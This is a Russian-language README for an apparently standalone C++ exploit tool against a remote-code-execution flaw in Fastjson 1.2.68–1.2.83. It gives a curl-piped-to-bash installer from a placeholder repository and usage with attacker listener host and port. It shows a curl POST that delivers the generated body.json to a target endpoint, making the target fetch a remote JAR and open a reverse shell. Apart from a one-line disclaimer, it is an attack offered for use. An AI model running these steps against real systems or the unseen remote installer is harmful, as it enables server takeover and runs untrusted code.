Эксплойт CVE-2026-16723

Автономная реализация на C++17 для CVE-2026-16723, критической уязвимости, затрагивающей Fastjson версий 1.2.68 – 1.2.83.

Требования

• Linux (или WSL в Windows)

• Компилятор, совместимый с C++17 (GCC 7+ или Clang 5+)

• CMake 3.10 или новее

• Системные пакеты:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Установка

Быстрая установка (рекомендуется)

Установите всё одной командой:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Или скачайте и запустите установщик вручную:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

Сценарий установки выполнит следующее:

• Установит все необходимые системные пакеты.

• Скачает необходимые библиотеки, состоящие только из заголовков:

  • nlohmann/json
  • cpp-httplib

• Соберёт проект.

• Поместит скомпилированный бинарный файл в текущий каталог как:

./exploit

Сборка вручную

Если вы склонировали репозиторий:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Или соберите вручную:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Использование

Запустите бинарный файл:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Пример

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

После выполнения будут созданы следующие файлы:

x
body.json

HTTP-сервер запустится на настроенном порту (по умолчанию: 8000), и инструмент будет ожидать входящего обратного подключения оболочки (reverse shell).

Отправка полезной нагрузки

Отправьте сгенерированный файл body.json на уязвимую конечную точку:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Если приложение ожидает другое поле JSON, укажите его с помощью опции --field.

Параметры командной строки

Выходные файлы

Примечания

• Этот проект предназначен только для авторизованного тестирования безопасности и образовательных целей.
• Реализация заставляет целевое приложение загружать и подключать удалённый JAR-файл с использованием протоколов jar:http и jar:file.
• Команда обратной оболочки кодируется в Base64, чтобы уменьшить проблемы с экранированием.

Подпишитесь на меня в Twitter (X)

• MNM